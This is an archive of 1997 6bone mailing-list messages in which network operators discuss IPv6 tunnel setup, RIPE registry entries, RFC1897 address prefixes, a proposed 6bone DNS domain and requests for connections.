Subject: DNS domain for 6bone?
To: 6bone@isi.edu
Date: Wed, 26 Feb 1997 09:49:09 +0100 (MET)
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Hi!
 
Are there any plans to establish a DNS domain for the 6bone and its tunnel
hosts/routers? I mean something like *.6bone.net (or .org) where
        fauern.6bone.net
        join.6bone.net
        g6.6bone.net
        cisco.6bone.net
        ...
supply AAAA and A (and maybe MX) RRs for the tunnel nodes.

Or maybe start with one to the new gTLDs (nasa.6bone.rec) ;-)))

An advantage I can think of would be some kind of corporate identity for the
IPv6 movement. We could set up a fixed set of mail aliases for tech contacts
and so on. Bob could name his website www.6bone.net. And finally traceroutes
would look cool...
 
Comments?
 
Erich
-- 
Erich Meier	                         Erich.Meier@informatik.uni-erlangen.de
				  http://www4.informatik.uni-erlangen.de/~meier


From majordom@ISI.EDU  Wed Feb 26 13:14:06 1997
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Date: Wed, 26 Feb 1997 13:14:06 +0000 (GMT)
From: Guy Davies <guyd@uunet.pipex.com>
Reply-To: IPv6 Operations <ipv6@uunet.pipex.com>
To: 6bone@isi.edu
Cc: IPv6 Operations <ipv6@uunet.pipex.com>
Subject: Further updates to UUNET-UK
Message-Id: <Pine.GSO.3.95q.970226131023.621Z-100000@swannee.uunet.pipex.com>
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Hi Folks,

Following another fairly busy day and with the help of people at UNI-C/DK,
TELEBIT/DK, IFB/UK and KIT/KZ, we have now got the following ip6rr object.

site:           UUNET-UK
location:       Cambridge, UK
prefix:         5f07:3900/32
ping:           5f07:3900:9e2b:8900:98::c92:145c 6bone-gw.ip6.pipex.net
ping:		5f07:3900:c2:8200::c00d:3c4 swannee.ip6.pipex.net
tunnel:		158.43.137.157 192.31.7.104 	CISCO/US RIPng operational
tunnel:		158.43.137.157 192.32.29.62 	BAY/US RIPng operational
tunnel:		158.43.137.157 192.220.249.249 	NWNET/US RIPng operational
tunnel:		158.43.137.157 194.182.135.253	TELEBIT/DK RIPng operational
tunnel:		158.43.137.157 194.105.166.254	IFB/UK RIPng operational
tunnel:		158.43.137.157 130.225.231.5	UNI-C/DK RIPng operational
tunnel:		158.43.137.157 193.10.66.50	SICS/SE RIPng operational
tunnel:		158.43.137.157 192.87.110.60	SURFNET/NL RIPng operational
tunnel:		158.43.137.157 194.226.128.99	KIT/KZ static operational
contact:        IPv6 operations <ipv6@uunet.pipex.com>
status:         operational since 20-Feb-97
remark:         DNS operational for forward (ip6.pipex.net) and reverse
remark:		zones
remark:		Willing to add tunnels on request
changed:        Guy.Davies@uunet.pipex.com 970226
source:         RIPE

Anyone wishing to setup a tunnel to UUNET-UK should email
ipv6@uunet.pipex.com and I'll get back in touch.

Regards,

Guy

Guy Davies  				UUNET
----------				Internet House, 332 Science Park
Operational Services Manager		Milton Road 
					Cambridge, CB4 4BZ
email: guyd@uunet.pipex.com		url: http://www.uunet.pipex.com/
tel: +44 (0)1223 250122 #4		fax: +44 (0)1223 250133


From majordom@ISI.EDU  Tue Feb 25 22:15:46 1997
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From: bmanning@ISI.EDU (Bill Manning)
Message-Id: <199702261415.AA22056@zephyr.isi.edu>
Subject: Re: DNS domain for 6bone?
To: Erich.Meier@informatik.uni-erlangen.de (Erich Meier)
Date: Wed, 26 Feb 1997 06:15:46 -0800 (PST)
Cc: 6bone@isi.edu
In-Reply-To: <199702261249.NAA26080@faui40.informatik.uni-erlangen.de> from "Erich Meier" at Feb 26, 97 09:49:09 am
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> 
> Hi!
>  
> Are there any plans to establish a DNS domain for the 6bone and its tunnel
> hosts/routers? I mean something like *.6bone.net (or .org) where

This approach is really very hard to coordinate.  Most sites have created
subdomains of the form

		ipv6.site.tld

to hold the AAAA records. 

-- 
--bill

From majordom@ISI.EDU  Tue Feb 25 22:22:54 1997
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Date: Wed, 26 Feb 1997 06:22:54 -0800
To: Jason Duerstock <jason@linux.aatech.com>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Getting attached...
Cc: 6BONE Mailer <6bone@ISI.EDU>
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Jason,

At 10:23 PM -0800 2/25/97, Jason Duerstock wrote:
>On Tue, 25 Feb 1997, Bob Fink LBNL wrote:
>
>> All 6bone sites designated as Backbone or Transit sites are willing to
>> connect user/leaf sites if they are appropriately located. This means that
>> the 6bone is strongly attempting to arrange its tunnels in a way that
>> matches IPv4 physical topology as much as possible.
>>
>> To contact these Backbone or Transit sites to request a connection, go to
>> the 6bone Overview Diagram:
>>
>> 	http://www-6bone.lbl.gov/6bone/6bone-drawing.html
>>
>> and click on the site of your choice and use the contact email
>> within.
>>
>> Failing this, please post email to the 6bone list for help and advice.
>
>I tried looking at the map and I didn't see anything that looked
>particularly close in topological terms.  I'm connected through MCI in
>Pompano Beach, Florida.  I guess the an ideal hook-up site would be in
>Atlanta, preferably connected via MCI too..
>
>Any help would be greatly appreciated. :)

Then I would suggest using DIGITAL-CA, NRL or CISCO until more happens in
the the southeast.


Bob



From majordom@ISI.EDU  Tue Feb 25 23:11:43 1997
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Date: Wed, 26 Feb 1997 07:11:43 -0800
To: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: DNS domain for 6bone?
Cc: 6bone@isi.edu (6BONE Mailer)
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Erich,

Though this sounds neat from a PR point of view, it goes against the way
the Internet is structured today.  It takes many nets and sites to make up
the Internet, and each has its own identity.  That identity shouldn't
really be any different that their current identity.

It also implies some central name registry dealing with the name and number
space for everyone and I sure don't want to be in that business.

Also, it implies that IPv6 is somehow different (and very externally
visible) than IPv4.  From my point of view, IPv6 will succeed when people
use it and haven't a clue that they are using it.  That is, it is literally
an automatic thing that happens well below their high level view of the
Internet.

I prattle on...others will certainly have an opinion, and it may certainly
be different than mine.


Thanks for bringing it up as it is a point of view that should be discussed.


Bob


=============================================
At 12:49 AM -0800 2/26/97, Erich Meier wrote:
>Hi!
>
>Are there any plans to establish a DNS domain for the 6bone and its tunnel
>hosts/routers? I mean something like *.6bone.net (or .org) where
>        fauern.6bone.net
>        join.6bone.net
>        g6.6bone.net
>        cisco.6bone.net
>        ...
>supply AAAA and A (and maybe MX) RRs for the tunnel nodes.
>
>Or maybe start with one to the new gTLDs (nasa.6bone.rec) ;-)))
>
>An advantage I can think of would be some kind of corporate identity for the
>IPv6 movement. We could set up a fixed set of mail aliases for tech contacts
>and so on. Bob could name his website www.6bone.net. And finally traceroutes
>would look cool...
>
>Comments?
>
>Erich
>--
>Erich Meier	                         Erich.Meier@informatik.uni-erlangen.de
>				  http://www4.informatik.uni-erlangen.de/~meier




From majordom@ISI.EDU  Wed Feb 26 05:29:06 1997
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Date: Wed, 26 Feb 1997 10:29:06 -0500
From: Lawrence MacIntyre <lpz@nautique.epm.ornl.gov>
Organization: Oak Ridge National Laboratory
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To: Bill Manning <bmanning@ISI.EDU>
Cc: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>, 6bone@isi.edu
Subject: Re: DNS domain for 6bone?
References: <199702261415.AA22056@zephyr.isi.edu>
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Bill Manning wrote:
> 
> >
> > Hi!
> >
> > Are there any plans to establish a DNS domain for the 6bone and its tunnel
> > hosts/routers? I mean something like *.6bone.net (or .org) where
> 
> This approach is really very hard to coordinate.  Most sites have created
> subdomains of the form
> 
>                 ipv6.site.tld
> 
> to hold the AAAA records.

This is what we did.  We have an ipv6.ornl.gov domain.
-- 

                                 Lawrence
                                    ~
------------------------------------------------------------------------
Lawrence MacIntyre       Oak Ridge National Laboratory      423.574.8696 
lpz@ornl.gov   http://www.epm.ornl.gov/~lpz    lpz@nautique.epm.ornl.gov

From majordom@ISI.EDU  Wed Feb 26 18:33:06 1997
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From: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
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Subject: Re: DNS domain for 6bone?
In-Reply-To: <199702261415.AA22056@zephyr.isi.edu> from Bill Manning at "Feb 26, 97 06:15:46 am"
To: bmanning@isi.edu (Bill Manning)
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> > 
> > Hi!
> >  
> > Are there any plans to establish a DNS domain for the 6bone and its tunnel
> > hosts/routers? I mean something like *.6bone.net (or .org) where
> 
> This approach is really very hard to coordinate.  Most sites have created
> subdomains of the form
> 
> 		ipv6.site.tld
> 
> to hold the AAAA records. 

This is certainly true. But a single DNS domain with only the AAAA RR of the
tunnel router and an MX for the tech contact would be manageable (we have
currently 106 entries in the RIPE registry) I think.

Erich
-- 
Erich Meier	                         Erich.Meier@informatik.uni-erlangen.de
				  http://www4.informatik.uni-erlangen.de/~meier

From majordom@ISI.EDU  Wed Feb 26 18:55:30 1997
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Subject: Re: DNS domain for 6bone?
In-Reply-To: <v03007801af3a01332550@[128.3.9.22]> from Bob Fink LBNL at "Feb 26, 97 07:11:43 am"
To: RLFink@lbl.gov (Bob Fink LBNL)
Date: Wed, 26 Feb 1997 17:55:30 +0100 (MET)
Cc: 6bone@isi.edu
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Bob,

> Though this sounds neat from a PR point of view, it goes against the way
> the Internet is structured today.  It takes many nets and sites to make up
> the Internet, and each has its own identity.  That identity shouldn't
> really be any different that their current identity.

This is true if you consider the 6bone an "official and long-lasting" service.
(see below). A corporate identity would be a big ease whenever someone asks
you "How does this IPv6 thingy work?" or "How do I hookup?". I think it would
motivate sites to take part and keep their tunnels up - it's rather disappoin-
ting to look at the current tunnel stats...

> It also implies some central name registry dealing with the name and number
> space for everyone and I sure don't want to be in that business.

Maintaining one (or two) records per site would not be so much work I guess.
But I don't have that much experience in running such a "registry".

> Also, it implies that IPv6 is somehow different (and very externally
> visible) than IPv4.  From my point of view, IPv6 will succeed when people
> use it and haven't a clue that they are using it.  That is, it is literally
> an automatic thing that happens well below their high level view of the
> Internet.

I absolutely agree. But I consider the 6bone a thing that will vanish in the
not-so-far-away future. OK, the MBone folks said this too, but there is more
operational pressure that will force people to deploy IPv6.

But I admit, a single DNS domain for the tunnel routers would be "syntactic
sugar" and would never be needed for operational issues. Though it would be a
nice thing for marketing issues...

Regards,
Erich
-- 
Erich Meier	                         Erich.Meier@informatik.uni-erlangen.de
				  http://www4.informatik.uni-erlangen.de/~meier

From majordom@ISI.EDU  Wed Feb 26 07:05:00 1997
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Date: Wed, 26 Feb 1997 12:05 -0500 (EST)
From: KILLIATD@sysadm.suny.edu
Subject: New tunnel: SUNYNET - BAY
To: 6bone@isi.edu
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SUNYNet (State Univ. of New York) has brought up a tunnel to the BAY
6bone site in Mass. It is currently statically routed, but will be
moving to RIPng.

Here's the RIPE entry :

site:             SUNYNet Operations
location:     Albany, NY, USA
prefix:         5F06:F900:8DFE:0100::/64
ping:           5F06:F900:8DFE:0100::0001
ping:           5F06:F900:8DFE:0100::8DFE:01E1
tunnel:        141.254.1.225 192.32.29.62 BAY, USA Static Routing
contact:       Thomas Killian <killiatd@sysadm.suny.edu>
contact:       Network Operations <netopns@sysadm.suny.edu>
status:          operational since February 25, 1997
remark:        platform: Bay Networks ASN
changed:     killiatd@sysadm.suny.edu 970226
source:        RIPE

Tunnel ping test :

lab>ping -r5 -ipv6 5F02:3000:C020:AE00:201D:0000:C020:1D3E
IPV6 ping (If 3): [5F02:3000:C020:AE00:201D:0000:C020:1D3E] is alive
(size = 16 bytes)
IPV6 ping (If 3): [5F02:3000:C020:AE00:201D:0000:C020:1D3E] is alive
(size = 16 bytes)
IPV6 ping (If 3): [5F02:3000:C020:AE00:201D:0000:C020:1D3E] is alive
(size = 16 bytes)
IPV6 ping (If 3): [5F02:3000:C020:AE00:201D:0000:C020:1D3E] is alive
(size = 16 bytes)
IPV6 ping (If 3): [5F02:3000:C020:AE00:201D:0000:C020:1D3E] is alive
(size = 16 bytes)

Thanks to Dimitry Haskin at Bay for the assistance in setting this
up.


Tom Killian

From majordom@ISI.EDU  Wed Feb 26 02:58:28 1997
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From: dhaskin@baynetworks.com (Dimitry Haskin)
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Hi,

I've updated the Bay's RIPE registry record with new tunnel information.

site:		Bay Networks
location:	Billerica, Massachusetts, USA
prefix:		5F02:3000:C020:AE00::/64
ping:		5F02:3000:C020:AE00::0001
ping:		5F02:3000:C020:AE00:201D::0001
ping:           5F02:3000:C020:AE00:201D:0000:C020:1D3E 
tunnel:		192.32.29.62 132.177.118.22 UNH, USA, RIPng
tunnel:		192.32.29.62 130.225.231.5 UNI-C, Denmark, RIPng
tunnel:		192.32.29.62 128.176.191.66 JOIN, Germany, RIPng
tunnel:		192.32.29.62 129.88.26.2 G6, France, RIPng
tunnel:		192.32.29.62 163.221.11.21 WIDE, Japan, RIPng
tunnel:		192.32.29.62 133.153.22.100 SUMITOMO/JP, Japan, RIPng
tunnel:		192.32.29.62 204.123.2.236 DIGITAL-CA, USA, RIPng
tunnel:		192.32.29.62 141.251.199.2 BAY-FRANCE, France, RIPng
tunnel:		192.32.29.62 134.177.128.75 BAY-CA, USA, RIPng
tunnel:		192.32.29.62 158.43.137.157 UUNET-UK, UK, RIPng
tunnel:		192.32.29.62 132.250.90.3 NRL, USA, RIPng
tunnel:		192.32.29.62 207.19.82.8 SBCTRI, Austin, USA, Static Routing
tunnel:		192.32.29.62 128.122.64.5 NYU, New York, USA, Static Routing
tunnel:		192.32.29.62 141.254.1.225 SUNYNet, Albany, USA, Static Routing
tunnel:		192.32.29.62 208.208.216.10 CYPHER, NY, USA, Static Routing
tunnel:		192.32.29.62 140.129.142.99 TNJC-TW, Taiwan, Static Routing
contact:	Wenken Ling <wling@baynetworks.com>
contact:	Dimitry Haskin <dhaskin@baynetworks.com>
status:		operational since June 1996
remark:		platform: ASN 
remark:		will add new tunnels upon request 
remark:		carries all 6-bone routes 
remark:		please report any problems to contacts above 
changed:	dhaskin@baynetworks.com 970226
source:		RIPE

Dimitry

From majordom@ISI.EDU  Thu Feb 27 02:41:09 1997
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From: lf@elemental.net (Lars Fenneberg)
Subject: Re: DNS domain for 6bone?
To: Erich.Meier@informatik.uni-erlangen.de (Erich Meier)
Date: Thu, 27 Feb 1997 01:41:09 +0100 (MET)
Cc: 6bone@isi.edu
In-Reply-To: <199702261249.NAA26080@faui40.informatik.uni-erlangen.de> from "Erich Meier" at Feb 26, 97 09:49:09 am
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Hi all!

You, Erich Meier, said:

> Bob could name his website www.6bone.net.

	I think this would be a very good idea. I know that there is
	www.mbone.de here in Germany which carries MBONE related info and
	there's www.perl.org and I think www.sendmail.org. 

	So what about www.6bone.net or www.6bone.org? I would suggest
	www.6bone.net.

	If there is consensus on this idea I would volunteer to register the
	domain (and pay for it) and run the neccessary nameservers.

Lars.
-- 
Lars Fenneberg,  lf@elemental.net
fingerprint D1 28 F1 FF 3C 6B C0 27  CC 9C 6C 09 34 0A 55 18

From majordom@ISI.EDU  Wed Feb 26 08:59:24 1997
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Some configuration errors in RIP routes to leaf nodes were corrected;
thanks to Kirk Lougheed at cisco for pointing them out.

We brought up a backbone RIP tunnel to UUNET-UK; thanks to Guy Davies
for handling the UUNET-UK end.

Stephen


From majordom@ISI.EDU  Wed Feb 26 10:41:29 1997
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Date: Wed, 26 Feb 1997 18:41:29 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: dialup to the 6bone ??
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I am forwarding this to the mailer as I cannot answer this one.

Can anyone (does anyone) handle IPv6 over PPP dialup yet?


Thanks,

Bob


=============================
>Date: Wed, 26 Feb 1997 01:39:43 -0800
>From: Kurt Ames <cassady@earthlink.net>
>Reply-To: cassady@earthlink.net
>Organization: Admin Kit Investigator
>MIME-Version: 1.0
>To: RLFink@lbl.gov
>Subject: 6BONE
>
>Mr. Fink,
>I pose a qestion to you that might seem irritating.  I attended CSU
>Monterey Bay last year and started a project at the school, the MBone.
>With much help from Donald Brutzman and the IIRG working group at the
>Naval Post Graduate School I was successful in tunneling CSUMB and NPS.
>Is it possible or even reasonable to konnect my home system, a school
>packaged system from Apple with a 14.4 modem, to the 6BONE?  I would
>obviously need a ISP with appropriate tunneling.  I know of no such
>public provider.  A software beta release was in the works last year for
>the PC and Mac to recieve/not send video and audio. Is there any hope
>for me to get in on the 6Bone?
>Cassady
>



From majordom@ISI.EDU  Wed Feb 26 13:57:19 1997
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From: bmanning@ISI.EDU (Bill Manning)
Message-Id: <199702270557.AA04008@zephyr.isi.edu>
Subject: Re: dialup to the 6bone ??
To: RLFink@lbl.gov (Bob Fink LBNL)
Date: Wed, 26 Feb 1997 21:57:19 -0800 (PST)
Cc: 6bone@isi.edu
In-Reply-To: <v03007802af3aa4467cb7@[128.3.9.22]> from "Bob Fink LBNL" at Feb 26, 97 06:41:29 pm
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It seems that he might be confusing Mbone with 6bone.



> 
> I am forwarding this to the mailer as I cannot answer this one.
> 
> Can anyone (does anyone) handle IPv6 over PPP dialup yet?
> 
> 
> Thanks,
> 
> Bob
> 
> 
> =============================
> >Date: Wed, 26 Feb 1997 01:39:43 -0800
> >From: Kurt Ames <cassady@earthlink.net>
> >Reply-To: cassady@earthlink.net
> >Organization: Admin Kit Investigator
> >MIME-Version: 1.0
> >To: RLFink@lbl.gov
> >Subject: 6BONE
> >
> >Mr. Fink,
> >I pose a qestion to you that might seem irritating.  I attended CSU
> >Monterey Bay last year and started a project at the school, the MBone.
> >With much help from Donald Brutzman and the IIRG working group at the
> >Naval Post Graduate School I was successful in tunneling CSUMB and NPS.
> >Is it possible or even reasonable to konnect my home system, a school
> >packaged system from Apple with a 14.4 modem, to the 6BONE?  I would
> >obviously need a ISP with appropriate tunneling.  I know of no such
> >public provider.  A software beta release was in the works last year for
> >the PC and Mac to recieve/not send video and audio. Is there any hope
> >for me to get in on the 6Bone?
> >Cassady
> >
> 
> 
> 


-- 
--bill

From majordom@ISI.EDU  Thu Feb 27 13:18:45 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <970227121845.ZM9092@rama.imag.fr>
Date: Thu, 27 Feb 1997 12:18:45 +0100
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "dialup to the 6bone ??" (Feb 26,  6:41pm)
References: <v03007802af3aa4467cb7@[128.3.9.22]>
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On Feb 26,  6:41pm, Bob Fink LBNL wrote:
> Subject: dialup to the 6bone ??
> I am forwarding this to the mailer as I cannot answer this one.
>
> Can anyone (does anyone) handle IPv6 over PPP dialup yet?

We are working on ppp and it should be ready for the next release
of IPv6 INRIA code sometime in march. I do not know about the other
implementations.

But if we ever set up such a service, it'll probably be restricted
to internal use...

	- Alain

From majordom@ISI.EDU  Thu Feb 27 08:43:11 1997
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Dear Erich,
	Now there is an idea worth pursuing.  I am still setting up my site and
should be asking for a tunnel soon.  My question on that though is
whether we have a working version of BIND or something similar that can
return the AAAA and A records for us.  I'd be glad to find out.

-- 

Yours sincerely,
Robert Honore
robert@digi-data.com
Phone: 623 6658 Fax: 623 0978
Snail Mail: Digi Data systems limited, 96 Wrightson Road,
Trinidad, W. I.

> Take care of what IS.  The APPEARANCES will take care of themselves.

From majordom@ISI.EDU  Thu Feb 27 14:59:15 1997
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From: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
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Subject: Re: DNS domain for 6bone?
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To: robert@digi-data.com
Date: Thu, 27 Feb 1997 13:59:15 +0100 (MET)
Cc: Erich.Meier@informatik.uni-erlangen.de, 6bone@ISI.EDU
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> 
> Dear Erich,
> 	Now there is an idea worth pursuing.  I am still setting up my site and
> should be asking for a tunnel soon.  My question on that though is
> whether we have a working version of BIND or something similar that can
> return the AAAA and A records for us.  I'd be glad to find out.

Sure, there is no problem with that. Just follow the steps shown on Bob's
webpages (http://www-cnr.lbl.gov/6bone/) to hookup to the 6bone. This includes
choosing a RFC1897 compliant IPv6 testing prefix for your site and finding
an "upper layer" nameserver that provides reverse lookup delegations to you.
The location of this nameserver depends on your AS number or better if someone
has set up a IPv6 reverse lookup nameserver for your AS number yet. If you're
the first one in your AS, then you should contact Bill Manning (manning@isi.edu)
for a delegation.

Bind supports AAAA records starting with version 4.9.4.

Hope this helps,
Erich

From majordom@ISI.EDU  Thu Feb 27 16:23:04 1997
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Date: Thu, 27 Feb 1997 15:23:04 +0100 (MET)
From: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>
To: 6bone Mailer <6bone@ISI.EDU>
Subject: Updated Ripe entry for UNI-C
Message-Id: <Pine.HPP.3.95.970227151616.1921D-100000@unidhp1.uni-c.dk>
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Hello,

    From UNI-C there are two new tunnels, one to ECRC with 
static routing, and one to UUNET-UK with RIPng routing. Our
backbone tunnels to Bay, G6 and SICS have been changed to run
RIPng.

    Our Ripe entry is now

site:       UNI-C, DENET
location:   Copenhagen, Denmark
prefix:     5f07:2b00::/32
ping:       unvea6.ipv6.uni-c.dk, 5f07:2b00:82e1:e700:5:c0:3302:31
tunnel:     130.225.231.5 193.10.66.50     SICS          RIPng,  experimental
tunnel:     130.225.231.5 194.182.135.253  Telebit, 	 IDRPv6, operational
tunnel:     130.225.231.5 128.176.191.66   JOIN    ::/0, IDRPv6, operational
tunnel:     130.225.231.5 129.88.26.2      G6,           RIPng,  operational
tunnel:     130.225.231.5 132.177.118.22   UNH		 static, operational
tunnel:     130.225.231.5 192.71.20.139    ERA           static, operational
tunnel:     130.225.231.5 192.32.29.62     Bay Networks  RIPng,  operational
tunnel:     130.225.231.5 141.1.2.3        ECRC          static, operational
tunnel:     130.225.231.5 158.43.137.157   UUNET-UK      RIPng,  operational
contact:    Gudrun.Dalgeir@uni-c.dk
remark:     http://www6.ipv6.uni-c.dk
changed:    gudrun.dalgeir@uni-c.dk 970227
source:     RIPE


regards,

---------------- oo000oo ----------------------------------
Gudrun Dalgeir             phone  : (+) 45 35878532
UNI-C                      fax    : (+) 45 35878890
Vermundsgade 5             e-mail : Gudrun.Dalgeir@uni-c.dk
DK-2100 Kbh. O             
-----------------------------------------------------------


From majordom@ISI.EDU  Thu Feb 27 13:33:41 1997
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Date: Thu, 27 Feb 97 18:33:41 EST
From: Tom Dyas <tdyas@xenophanes.rutgers.edu>
To: 6bone@isi.edu
Subject: request for a connection
Message-Id: <CMM-RU.1.5.857086421.tdyas@xenophanes.rutgers.edu>
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I am interested in getting a connection to the 6bone for Rutgers
University. Some minor questions (probably some stupid ones as well):

1) Is there anybody close to Central New Jersey (New Brunswick
specifically) that would be willing to provide a tunnel?

2) I picked my RFC1897 prefix to be 5F02:BD00:8006:0000::/64 since the
provider ASN (UUNet) is 701. Now, for the IPv4 network part of the
prefix, I used 800600 as the basis since Rutgers has the Class B
128.6.0.0. But we also have the Class B 165.230.0.0, so should the
prefix reflect that in some way as well?

(Or I am just being extremly paranoid and it does not matter what I
choose as long as it is consistent within Rutgers?)

Tom


Tom Dyas                                                tdyas@noc.rutgers.edu
Network Operations Group                    http://www-no.rutgers.edu/~tdyas/
Rutgers University Computing Services                            908-445-5683

From majordom@ISI.EDU  Thu Feb 27 15:15:51 1997
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	Thu, 27 Feb 1997 20:15:51 -0500
Date: Thu, 27 Feb 1997 20:15:51 -0500 (EST)
From: Jason Duerstock <jason@linux.aatech.com>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6BONE Mailer <6bone@ISI.EDU>
Subject: Re: Getting attached...
In-Reply-To: <v03007800af39f5aaa00e@[128.3.9.22]>
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On Wed, 26 Feb 1997, Bob Fink LBNL wrote:

> Jason,
> 
> Then I would suggest using DIGITAL-CA, NRL or CISCO until more happens in
> the the southeast.

It seems CIC is the closest to me, so I'm going to try go get hooked up
through them.  

Now that I have my connecting point, according to the web page, the next
step is choosing my address.  According to the page...:

> The address format from RFC 1897 is extracted below for your convenience
> in understanding the email example:
>
>
>   | 3 |  5 bits  |  16 bits | 8 |   24 bits  | 8 | 16 bits|48 bits|
>   +---+----------+----------+---+------------+---+--------+-------+
>   |   |          |Autonomous|   |    IPv4    |   | Subnet | Intf. |
>   |010|  11111   |  System  |RES|   Network  |RES|        |       |
>   |   |          |  Number  |   |   Address  |   | Address|  ID   |
>   +---+----------+----------+---+------------+---+--------+-------+
>
> Note that an RFC1897 format address includes the ASN (Autonomous System
> Number) of one's provider, not an ASN that belongs to one's own site.
> (Though a provider uses its own ASN.)

This is would make my address

5F:  (01011111 == first 8 bits)
0D:  T
E9:  +- 3561 (for MCI's ASN)
00:  (RES == reserved...?)
CE:  206. \
9C:  156.  > our IPv4 class C subnet
94:  148. /
00:  (RES == reserved...)

This gives me the first 8 bytes, but I'm unsure as to what the subnet
address and interface ID means...it it safe to assume...:

00: T
01: +- 1 for first address on the subnet

and

00: T
00: |
00: |
00: |
00: |
01: +- interface #1

?

And for RIPE purposes, this would be come

5F0D:E900:CE9C:9400/64 ?

Assuming this is correct, should I register with RIPE first, or actually
try to get the tunnel up and running?

Thanks for the help and sorry about all the questions. :)

Jason Duerstock
jason@linux.aatech.com


From majordom@ISI.EDU  Fri Feb 28 07:20:35 1997
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Message-Id: <199702280706.HAA26294@gate.ticl.co.uk>
From: "Peter Curran" <pcurran@ticl.co.uk>
To: <6bone@isi.edu>
Subject: SNMP with v6 capability
Date: Fri, 28 Feb 1997 07:20:35 -0000
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Hi

I am looking for a SNMP manager and agent for UNIX that groks IPv6.  Can
somebody point me towards a solution.

Many thanks

Peter Curran
TICL


From majordom@ISI.EDU  Fri Feb 28 09:25:51 1997
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Date: Fri, 28 Feb 1997 09:25:51 +0000 (GMT)
From: Guy Davies <guyd@uunet.pipex.com>
To: Tom Dyas <tdyas@xenophanes.rutgers.edu>
Cc: 6bone@isi.edu
Subject: Re: request for a connection
In-Reply-To: <CMM-RU.1.5.857086421.tdyas@xenophanes.rutgers.edu>
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Hi Tom,

UUNET/US isn't yet connected to the 6bone.  UUNET/UK is but you may find
you get better responses if you connect to another US backbone site.  If
none will help, then get back in touch with ipv6@uunet.pipex.com and I'll
willingly setup a tunnel for you (but your US=>US traffic will cross the
Atlantic twice)-:

My suggestion would be to go through the backbone sites and traceroute to
the IPv4 address of their routers.  Pick the one with the fewest hops
(giving preference to US sites)

Hope this helps.

Regards,

Guy

Guy Davies  				UUNET
----------				Internet House, 332 Science Park
Operational Services Manager		Milton Road 
					Cambridge, CB4 4BZ
email: guyd@uunet.pipex.com		url: http://www.uunet.pipex.com/
tel: +44 (0)1223 250122 #4		fax: +44 (0)1223 250133

On Thu, 27 Feb 1997, Tom Dyas wrote:

> I am interested in getting a connection to the 6bone for Rutgers
> University. Some minor questions (probably some stupid ones as well):
> 
> 1) Is there anybody close to Central New Jersey (New Brunswick
> specifically) that would be willing to provide a tunnel?
> 
> 2) I picked my RFC1897 prefix to be 5F02:BD00:8006:0000::/64 since the
> provider ASN (UUNet) is 701. Now, for the IPv4 network part of the
> prefix, I used 800600 as the basis since Rutgers has the Class B
> 128.6.0.0. But we also have the Class B 165.230.0.0, so should the
> prefix reflect that in some way as well?
> 
> (Or I am just being extremly paranoid and it does not matter what I
> choose as long as it is consistent within Rutgers?)
> 
> Tom
> 
> 
> Tom Dyas                                                tdyas@noc.rutgers.edu
> Network Operations Group                    http://www-no.rutgers.edu/~tdyas/
> Rutgers University Computing Services                            908-445-5683
> 


From majordom@ISI.EDU  Fri Feb 28 13:01:04 1997
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Date: Fri, 28 Feb 1997 12:01:04 +0100 (MET)
From: Jaroslav Martan <martan@eu.net>
Reply-To: Jaroslav Martan <martan@eu.net>
To: 6bone@ISI.EDU
Subject: Looking for connection to 6bone
Message-Id: <Pine.SGI.3.95.970228115017.672G-100000@thor.EU.net>
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Hi,

we have a small experimental ipv6 network and would like to connect to 6bone. 
Would be anybody interested in setting up a tunnel to us ?

				Regards Jarda

--
======= ___                       === Jaroslav Martan, Network Engineer,
====== /    /   /  ___  ____ _/_ ==== EUnet Communications Services BV
===== /--- /   / /   / /___/ /  ===== Singel 540, 1017 AZ Amsterdam, NL
==== /___ /___/ /   / /___  /_ ====== Tel. +31 20 5305333; Fax. +31 20 6224657
===                           ======= [ 24hr emergency number +31 20 4210865 ]
=== Connecting Europe since 1982  === http://www.EU.net  e-mail: martan@EU.net






From majordom@ISI.EDU  Thu Feb 27 21:58:40 1997
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Date: Fri, 28 Feb 1997 05:58:40 -0800
To: Jaroslav Martan <martan@eu.net>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Looking for connection to 6bone
Cc: 6bone@isi.edu (6BONE Mailer), join@uni-muenster.de, hha@tbit.dk
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Jaroslav,

At 3:01 AM -0800 2/28/97, Jaroslav Martan wrote:
...
>we have a small experimental ipv6 network and would like to connect to 6bone.
>Would be anybody interested in setting up a tunnel to us ?

Please try the TELEBIT/DK folk.

	hha@tbit.dk

Failing that, try the JOIN/DE folk.


Thanks,

Bob



From majordom@ISI.EDU  Mon Mar  3 18:18:27 1997
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From: "Gils van, Jan" <jang@sps.nl>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: 6Bone Tunnel Netherlands ?
Date: Mon, 3 Mar 1997 17:18:27 +0100
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Hi,

Thanks for reading

Are there 6bone tunnels active in the Netherlands, and is it possible to
connect with one off them.

I hope to here from someone.

Greetings Jan van Gils

 ___________________________________________________________________
 Jan H. van Gils               |    Software Productivity Solutions
 jang@sps.nl                   |    P.O. box 92 2810 AB Reeuwijk
 +31 (0)182-396866             |    Fokkerstraat 16 2811 ER Reeuwijk
 -------------------------------------------------------------------


From majordom@ISI.EDU  Mon Mar  3 05:53:50 1997
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Subject: Re: Getting attached...
To: jason@linux.aatech.com (Jason Duerstock)
Date: Mon, 3 Mar 1997 13:53:50 -0800 (PST)
Cc: RLFink@lbl.gov, 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.3.95.970227200608.10216A-100000@linux.aatech.com> from "Jason Duerstock" at Feb 27, 97 08:15:51 pm
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> > Note that an RFC1897 format address includes the ASN (Autonomous System
> > Number) of one's provider, not an ASN that belongs to one's own site.
> > (Though a provider uses its own ASN.)
> 
> This is would make my address
> 
> 5F:  (01011111 == first 8 bits)
> 0D:  T
> E9:  +- 3561 (for MCI's ASN)
> 00:  (RES == reserved...?)
> CE:  206. \
> 9C:  156.  > our IPv4 class C subnet
> 94:  148. /
> 00:  (RES == reserved...)

